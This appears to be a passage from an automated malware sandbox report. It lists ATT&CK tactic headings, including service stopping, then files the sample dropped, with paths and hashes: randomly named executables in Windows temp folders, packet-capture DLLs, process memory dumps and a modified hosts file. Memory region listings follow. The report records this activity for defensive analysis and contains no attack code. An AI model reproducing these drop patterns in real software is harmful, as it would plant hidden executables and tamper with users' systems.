                                  Collection

                                  Command and Control

                                  Exfiltration

                                  Impact

                                  Service Stop

                                  1
                                  T1489

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • C:\Windows\SysWOW64\Packet.dll
                                    Filesize

                                    95KB

                                    MD5

                                    86316be34481c1ed5b792169312673fd

                                    SHA1

                                    6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

                                    SHA256

                                    49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

                                    SHA512

                                    3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

                                    Download Submit

                                  • C:\Windows\SysWOW64\wpcap.dll
                                    Filesize

                                    275KB

                                    MD5

                                    4633b298d57014627831ccac89a2c50b

                                    SHA1

                                    e5f449766722c5c25fa02b065d22a854b6a32a5b

                                    SHA256

                                    b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

                                    SHA512

                                    29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

                                    Download Submit

                                  • C:\Windows\TEMP\tfikiqkpu\config.json
                                    Filesize

                                    693B

                                    MD5

                                    f2d396833af4aea7b9afde89593ca56e

                                    SHA1

                                    08d8f699040d3ca94e9d46fc400e3feb4a18b96b

                                    SHA256

                                    d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

                                    SHA512

                                    2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

                                    Download Submit

                                  • C:\Windows\TEMP\zktnbpatc\1968.dmp
                                    Filesize

                                    8.7MB

                                    MD5

                                    6247b68c48e81f763a6af92af5e22afc

                                    SHA1

                                    87133c3409688f780d6a8875401b3f783b62caf8

                                    SHA256

                                    0e39317fe6227bb491008a4d7b2c9a46de9210bcac41683ad6b9e637de4871ae

                                    SHA512

                                    9a93bea08b17c9747f3c7566ea972328db09e73ac683c9b59699a80388beb9da81f37b774db7c39a9db361e0446614a59a36f6676c5c4bf9a73a1c883180b9a0

                                    Download Submit

                                  • C:\Windows\TEMP\zktnbpatc\2064.dmp
                                    Filesize

                                    4.1MB

                                    MD5

                                    3fe700fdd749676ee3be499733aa685c

                                    SHA1

                                    20404904e6fae8b92fffd58db93a1e1f75ecb14f

                                    SHA256

                                    95914588f6429032f17596673c36626d69e09fb544dcb2544fd2d7791b064b46

                                    SHA512

                                    9bafb82a7ffde673607dc17d780199295161c77c8a70bd3cd1509a917e2d06b40b9e10f6210c590874efff112e966367740d48642defb30882fe7f662171efbb

                                    Download Submit

                                  • C:\Windows\TEMP\zktnbpatc\2556.dmp
                                    Filesize

                                    2.9MB

                                    MD5

                                    3b6db509f2c9d15536e36fe485fedd75

                                    SHA1

                                    ced115dfe9a442a624ffaa7b1a78aa9ba38043d0

                                    SHA256

                                    c532f290fa346bdf9a439f2ac58de4521a1e49f0157a6ec25f03ad0881af9e59

                                    SHA512

                                    f4281b2c4560e7b85fdefa21960d368874da5f7ea6108ddbd43ca36a1b14f487fa69576eee50aa89128f67f8e5e0d29f0da9a1785676f9d1a532f3a031e840aa

                                    Download Submit

                                  • C:\Windows\TEMP\zktnbpatc\2604.dmp
                                    Filesize

                                    7.6MB

                                    MD5

                                    44b2ad6f1e23ee76e4dd0a06f189c143

                                    SHA1

                                    a982cbadb585083e6334b32e226efd096f34e327

                                    SHA256

                                    2607b12cf5603f26f35a8e0a55cfefa90445321149a15c66be71cbd7e44cb4c6

                                    SHA512

                                    9fd88c3bda2654142739cb31f4e7b73249a34e08e286c96cf719e86aefaad61339c2ce62a79c98738d4f1bd2140e97a37892504e8478c7d911f73c720c7687e4

                                    Download Submit

                                  • C:\Windows\TEMP\zktnbpatc\2808.dmp
                                    Filesize

                                    1.2MB

                                    MD5

                                    c3a9724ded55803cabfbe4c5dd9c4af8

                                    SHA1

                                    94137aeaedda4de8c0f4a241b00666bb7dd8f746

                                    SHA256

                                    61a4c4ac120fcff72aaf8755f22986e1bab2596377fabe858e42617e6d1be852

                                    SHA512

                                    9f47d28352111e80ed9e83f67feae071312239bf96961488f33a06647b2c01c2ccb6fa1c9207e906c51ba826c41eb302f2c0c99cba7acefe4def862f614e9ec1

                                    Download Submit

                                  • C:\Windows\TEMP\zktnbpatc\2984.dmp
                                    Filesize

                                    4.1MB

                                    MD5

                                    74604c4dffe01fced278425fa3313279

                                    SHA1

                                    29954c3d57948fc44780853d6ac9c56b5186f999

                                    SHA256

                                    eb378c38cf62deaec91a13b78059cb021b9ef9a940cdca70e3b71926716f2533

                                    SHA512

                                    d08bf6f5d314d49811266fbc595e3ad3c6e5d1e338eb86332fc32f8708ae1f4130ef8ea40127fa844853980a9cdbc683fec37541406ae86b2836ceba40531899

                                    Download Submit

                                  • C:\Windows\TEMP\zktnbpatc\3040.dmp
                                    Filesize

                                    796KB

                                    MD5

                                    7ae1535b8d69cf4cfcff603d5a690177

                                    SHA1

                                    71941ae294f8b3f50246503a9405da14d626b8f4

                                    SHA256

                                    f2f2b21aa734d4c8b37e9edc2c1e8ab40a3b823ac7f03c40c5222e4fe5022b0f

                                    SHA512

                                    c50f4c19ebc3dbec2d98d8e25813090c9fd239bdff81538b55f39a52dd5c04c9ef21b42e325701fac968e48c1c03808d9c9d524d9e849f58f98bbc313f1bcb03

                                    Download Submit

                                  • C:\Windows\TEMP\zktnbpatc\316.dmp
                                    Filesize

                                    33.6MB

                                    MD5

                                    c543e765d34aca7b4cada30e9ed00e10

                                    SHA1

                                    b50e9915eec74c1b543c2f5fe30fdd32287e06c6

                                    SHA256

                                    0632fc3b347eaa0e58085b45acdd647cd7a56f6596226623dfcd0231613db024

                                    SHA512

                                    734072b22f782417599aca395bb7657c75ea52f09e5f096385519d687f810ba6f46c7a8ce43d5781629480a8cd0c55845c15ce7ac6c7bbf60d62cc264d8ee359

                                    Download Submit

                                  • C:\Windows\TEMP\zktnbpatc\3764.dmp
                                    Filesize

                                    2.7MB

                                    MD5

                                    e6cbe918132f5e6cb6263f6f9f92a6a4

                                    SHA1

                                    850ac3687f4ad497d6ca69ee16912f395102369e

                                    SHA256

                                    f84f1ca6080c192f22636696f230d91674d1fc8af02fbe9abdb9aceba7a29edf

                                    SHA512

                                    cc2ef4ee448591b943786adac6ecd5b55058fd8f1d836af715eacd3326e3baaca128a0b46b8b74565919cbe0a60862f0417ec8af130e08c63cdcd40af3be27aa

                                    Download Submit

                                  • C:\Windows\TEMP\zktnbpatc\3848.dmp
                                    Filesize

                                    20.7MB

                                    MD5

                                    e52ede3c0c8218e2bd51d9ab1fd65c87

                                    SHA1

                                    e833d8e5f922bfcd3b88d8a57080d490925a9918

                                    SHA256

                                    92a930faaea3fa45dabcfb7234343096c8fe6fd96d578beb914d7fc88b261d5a

                                    SHA512

                                    0491dc531da64b4321cb39623f5d8eb4d8127528861a8751540ce9fdc35b306aa928af7b6ce1000ac83913a85c1984277901f639cdd1bb3219d408f22cb23434

                                    Download Submit

                                  • C:\Windows\TEMP\zktnbpatc\3912.dmp
                                    Filesize

                                    4.4MB

                                    MD5

                                    d3cc57b0da3ca9b737687ef8a2b424f1

                                    SHA1

                                    6fd57694fd5ae8a621c4dd5e190ba2c8d68a77a5

                                    SHA256

                                    9838696cbc7a8837ebafd486a921f0eae912fbefd2f6d02c5b55f15b487a140f

                                    SHA512

                                    f276185859c62e2b1b86b7163c2461aea85dcee579e211738035c3511b8997e578d0a172132fcc994319e91895a74983ec1b91a9c5dac84614361e97828eed52

                                    Download Submit

                                  • C:\Windows\TEMP\zktnbpatc\4008.dmp
                                    Filesize

                                    45.6MB

                                    MD5

                                    60f6ea87654ef3d21485e01b86c53005

                                    SHA1

                                    79f73a0ce19b196a93a669c106908936e55b668d

                                    SHA256

                                    412fb14c980a26e69e40c8517723b663cac534311f1088bd5c62765cbba27ae4

                                    SHA512

                                    b814fb243697bdddd92d527642200cc5134c5940759baeffe93bce488a76b5041dbc5b6ef7900a28a0b36348d517d1949a0d6eed10bb1fbadc46071f8b9a65df

                                    Download Submit

                                  • C:\Windows\TEMP\zktnbpatc\4496.dmp
                                    Filesize

                                    26.2MB

                                    MD5

                                    35b35149620b7af74ff650c2a5f3fa47

                                    SHA1

                                    d5bb32613aa0d83fc8f67dc51a808fbc6b79104a

                                    SHA256

                                    521f2cfcbd6dcecd55e52165ac2ebb32ea8b89ad18f32f55c5593a9099ec16e8

                                    SHA512

                                    8ba52f1bd32a37e1b18ba8abd649a725a3aad88b0a6e9aab9bc36da24d988158c81fbee64e642f6298198169f53b5fe928ded5725caf04af2434eef44c31196d

                                    Download Submit

                                  • C:\Windows\TEMP\zktnbpatc\5016.dmp
                                    Filesize

                                    1.9MB

                                    MD5

                                    2fd35d6d1a72b5f51148d0e05f83d413

                                    SHA1

                                    938c7664aa2a0cfd487f7830a260460c686ccbe2

                                    SHA256

                                    c0fd763da22034733b1135caeab9b77dacfd103338cd5c5ead2665f911d5e293

                                    SHA512

                                    1cf36e7fe2f34c2b081d684ddde676644e5b74a4892da0a31e86ce8028026fcbd96ce1414570273c605476651b3585d241419c3c90b99ff7d555e4ffbdcc6643

                                    Download Submit

                                  • C:\Windows\TEMP\zktnbpatc\772.dmp
                                    Filesize

                                    1019KB

                                    MD5

                                    ce57cb12a23fc1baf63efde04dcc0fb7

                                    SHA1

                                    e3f1e1178c9632d319bbcc1ba5e7c2fa2368c503

                                    SHA256

                                    430b11659cc5cceb06a28b2310b004d6bb7cbcbb682245f8100b0ba949e29ecd

                                    SHA512

                                    f9c8b1d46f0a5ac08eae8e8f8f33d037a6156273cf8e3001de1ee56b0a40a8a38845908527c2b3cc28e86c22722ab10eb98a3fdad1da7d4e2263503a65f298a8

                                    Download Submit

                                  • C:\Windows\Temp\nsp5159.tmp\System.dll
                                    Filesize

                                    11KB

                                    MD5

                                    2ae993a2ffec0c137eb51c8832691bcb

                                    SHA1

                                    98e0b37b7c14890f8a599f35678af5e9435906e1

                                    SHA256

                                    681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

                                    SHA512

                                    2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

                                    Download Submit

                                  • C:\Windows\Temp\nsp5159.tmp\nsExec.dll
                                    Filesize

                                    6KB

                                    MD5

                                    b648c78981c02c434d6a04d4422a6198

                                    SHA1

                                    74d99eed1eae76c7f43454c01cdb7030e5772fc2

                                    SHA256

                                    3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

                                    SHA512

                                    219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

                                    Download Submit

                                  • C:\Windows\Temp\tfikiqkpu\ntqkck.exe
                                    Filesize

                                    343KB

                                    MD5

                                    2b4ac7b362261cb3f6f9583751708064

                                    SHA1

                                    b93693b19ebc99da8a007fed1a45c01c5071fb7f

                                    SHA256

                                    a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

                                    SHA512

                                    c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

                                    Download Submit

                                  • C:\Windows\Temp\xohudmc.exe
                                    Filesize

                                    72KB

                                    MD5

                                    cbefa7108d0cf4186cdf3a82d6db80cd

                                    SHA1

                                    73aeaf73ddd694f99ccbcff13bd788bb77f223db

                                    SHA256

                                    7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

                                    SHA512

                                    b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

                                    Download Submit

                                  • C:\Windows\Temp\zktnbpatc\bqykpunep.exe
                                    Filesize

                                    126KB

                                    MD5

                                    e8d45731654929413d79b3818d6a5011

                                    SHA1

                                    23579d9ca707d9e00eb62fa501e0a8016db63c7e

                                    SHA256

                                    a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

                                    SHA512

                                    df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

                                    Download Submit

                                  • C:\Windows\system32\drivers\etc\hosts
                                    Filesize

                                    1KB

                                    MD5

                                    c838e174298c403c2bbdf3cb4bdbb597

                                    SHA1

                                    70eeb7dfad9488f14351415800e67454e2b4b95b

                                    SHA256

                                    1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

                                    SHA512

                                    c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

                                    Download Submit

                                  • C:\Windows\tqgebhig\llchjqs.exe
                                    Filesize

                                    8.6MB

                                    MD5

                                    375b32ec97ed2cdbc412b2643f0e7a44

                                    SHA1

                                    3a07e3d77d5c774f7748c7f49b672c3fbbbbbe67

                                    SHA256

                                    1363ef9566d78a2fcf0cdd27a1332c0d28491d16c108f3eee61001976ff5d57d

                                    SHA512

                                    84a5ba5823e9ec7ab758f8e17db76fa3097ca634de7bf4b0889ce7c7ebc666df6b3649a928224f12db92eb2238cc367b4ed5a20a9a66ce4d983504fc5f0fea92

                                    Download Submit

                                  • C:\Windows\zktnbpatc\Corporate\vfshost.exe
                                    Filesize

                                    381KB

                                    MD5

                                    fd5efccde59e94eec8bb2735aa577b2b

                                    SHA1

                                    51aaa248dc819d37f8b8e3213c5bdafc321a8412

                                    SHA256

                                    441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

                                    SHA512

                                    74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

                                    Download Submit

                                  • C:\Windows\zktnbpatc\gkbhvgseb\Result.txt
                                    Filesize

                                    1KB

                                    MD5

                                    12a3af84124a4f5abb05ae4319ed48df

                                    SHA1

                                    f3933fc59df2ff8ad940826fa7030f11657ce230

                                    SHA256

                                    8dc253cb66520628cadf782443aff264633f8ede6eca943b6f9ddca6ceaeddc7

                                    SHA512

                                    a7ff05a3a33232cb5f55ca3b4ce11ce58c06525ab487a3c5629ce23f3b5eaa07f37fdb40088f3dea83c1cbc8a88df5996cc5907a78c5876a767a176ee917ee65

                                    Download Submit

                                  • C:\Windows\zktnbpatc\gkbhvgseb\Result.txt
                                    Filesize

                                    1KB

                                    MD5

                                    eefce0c82aaa7119a4f507f06ab378cf

                                    SHA1

                                    24e6b08972f199c9360f541334615a9139708db6

                                    SHA256

                                    54876c1196bb7024d1b99eb89a1ffddb22d41767eae479521bb529c66b99bcb9

                                    SHA512

                                    25d88f30d572d41954fbd9d38e33e1e7c6bf9da766405b12e427f5d881dacd794122990fcef05648098bdc1c0bc77ecdec726d696d6c0cd1915023241926b30d

                                    Download Submit

                                  • C:\Windows\zktnbpatc\gkbhvgseb\tppqklzyi.exe
                                    Filesize

                                    332KB

                                    MD5

                                    ea774c81fe7b5d9708caa278cf3f3c68

                                    SHA1

                                    fc09f3b838289271a0e744412f5f6f3d9cf26cee

                                    SHA256

                                    4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

                                    SHA512

                                    7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

                                    Download Submit

                                  • C:\Windows\zktnbpatc\gkbhvgseb\wpcap.exe
                                    Filesize

                                    424KB

                                    MD5

                                    e9c001647c67e12666f27f9984778ad6

                                    SHA1

                                    51961af0a52a2cc3ff2c4149f8d7011490051977

                                    SHA256

                                    7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

                                    SHA512

                                    56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

                                    Download Submit

                                  • memory/64-212-0x00007FF6892D0000-0x00007FF6893F0000-memory.dmp

                                    Filesize

                                    1.1MB

                                    Download

                                  • memory/64-253-0x00007FF6892D0000-0x00007FF6893F0000-memory.dmp

                                    Filesize

                                    1.1MB

                                    Download

                                  • memory/64-232-0x00007FF6892D0000-0x00007FF6893F0000-memory.dmp

                                    Filesize

                                    1.1MB

                                    Download

                                  • memory/64-182-0x00007FF6892D0000-0x00007FF6893F0000-memory.dmp

                                    Filesize

                                    1.1MB

                                    Download

                                  • memory/64-221-0x00007FF6892D0000-0x00007FF6893F0000-memory.dmp

                                    Filesize

                                    1.1MB

                                    Download

                                  • memory/64-245-0x00007FF6892D0000-0x00007FF6893F0000-memory.dmp

                                    Filesize

                                    1.1MB

                                    Download

                                  • memory/64-168-0x0000023EC2640000-0x0000023EC2650000-memory.dmp

                                    Filesize

                                    64KB

                                    Download

                                  • memory/64-371-0x00007FF6892D0000-0x00007FF6893F0000-memory.dmp

                                    Filesize

                                    1.1MB

                                    Download

                                  • memory/64-199-0x00007FF6892D0000-0x00007FF6893F0000-memory.dmp

                                    Filesize

                                    1.1MB

                                    Download

                                  • memory/64-262-0x00007FF6892D0000-0x00007FF6893F0000-memory.dmp

                                    Filesize

                                    1.1MB

                                    Download

                                  • memory/64-178-0x00007FF6892D0000-0x00007FF6893F0000-memory.dmp

                                    Filesize

                                    1.1MB

                                    Download

                                  • memory/64-165-0x00007FF6892D0000-0x00007FF6893F0000-memory.dmp

                                    Filesize

                                    1.1MB

                                    Download

                                  • memory/688-175-0x00007FF7E9580000-0x00007FF7E95DB000-memory.dmp

                                    Filesize

                                    364KB

                                    Download

                                  • memory/764-193-0x00007FF7E9580000-0x00007FF7E95DB000-memory.dmp

                                    Filesize

                                    364KB

                                    Download

                                  • memory/1164-171-0x00007FF7E9580000-0x00007FF7E95DB000-memory.dmp

                                    Filesize

                                    364KB

                                    Download

                                  • memory/2164-202-0x00007FF7E9580000-0x00007FF7E95DB000-memory.dmp

                                    Filesize

                                    364KB

                                    Download

                                  • memory/2368-189-0x00007FF7E9580000-0x00007FF7E95DB000-memory.dmp

                                    Filesize

                                    364KB

                                    Download

                                  • memory/2404-180-0x00007FF7E9580000-0x00007FF7E95DB000-memory.dmp

                                    Filesize

                                    364KB

                                    Download

                                  • memory/2756-215-0x00007FF7E9580000-0x00007FF7E95DB000-memory.dmp

                                    Filesize

                                    364KB

                                    Download

                                  • memory/2932-197-0x00007FF7E9580000-0x00007FF7E95DB000-memory.dmp

                                    Filesize

                                    364KB

                                    Download

                                  • memory/3088-8-0x0000000000400000-0x0000000000AA4000-memory.dmp

                                    Filesize

                                    6.6MB

                                    Download

                                  • memory/3208-149-0x0000000010000000-0x0000000010008000-memory.dmp

                                    Filesize

                                    32KB

                                    Download

                                  • memory/3208-162-0x0000000000400000-0x0000000000412000-memory.dmp

                                    Filesize

                                    72KB

                                    Download

                                  • memory/3304-206-0x00007FF7E9580000-0x00007FF7E95DB000-memory.dmp

                                    Filesize

                                    364KB

                                    Download

                                  • memory/3608-224-0x00007FF7E9580000-0x00007FF7E95DB000-memory.dmp

                                    Filesize

                                    364KB

                                    Download

                                  • memory/3780-244-0x00000000006C0000-0x00000000006D2000-memory.dmp

                                    Filesize

                                    72KB

                                    Download

                                  • memory/4188-185-0x00007FF7E9580000-0x00007FF7E95DB000-memory.dmp

                                    Filesize

                                    364KB

                                    Download

                                  • memory/4192-219-0x00007FF7E9580000-0x00007FF7E95DB000-memory.dmp

                                    Filesize

                                    364KB

                                    Download

                                  • memory/4448-228-0x00007FF7E9580000-0x00007FF7E95DB000-memory.dmp

                                    Filesize

                                    364KB

                                    Download

                                  • memory/4508-0-0x0000000000400000-0x0000000000AA4000-memory.dmp

                                    Filesize

                                    6.6MB

                                    Download

                                  • memory/4508-4-0x0000000000400000-0x0000000000AA4000-memory.dmp

                                    Filesize

                                    6.6MB

                                    Download

                                  • memory/4620-210-0x00007FF7E9580000-0x00007FF7E95DB000-memory.dmp

                                    Filesize

                                    364KB

                                    Download

                                  • memory/4748-155-0x00007FF7E9580000-0x00007FF7E95DB000-memory.dmp

                                    Filesize

                                    364KB

                                    Download

                                  • memory/4748-142-0x00007FF7E9580000-0x00007FF7E95DB000-memory.dmp

                                    Filesize

                                    364KB

                                    Download

                                  • memory/4812-78-0x0000000001500000-0x000000000154C000-memory.dmp

                                    Filesize

                                    304KB

                                    Download

                                  • memory/4844-138-0x00007FF690AE0000-0x00007FF690BCE000-memory.dmp

                                    Filesize

                                    952KB

                                    Download

                                  • memory/4844-136-0x00007FF690AE0000-0x00007FF690BCE000-memory.dmp

                                    Filesize

                                    952KB

                                    Download

                                  • memory/4880-231-0x00007FF7E9580000-0x00007FF7E95DB000-memory.dmp

                                    Filesize

                                    364KB

                                    Download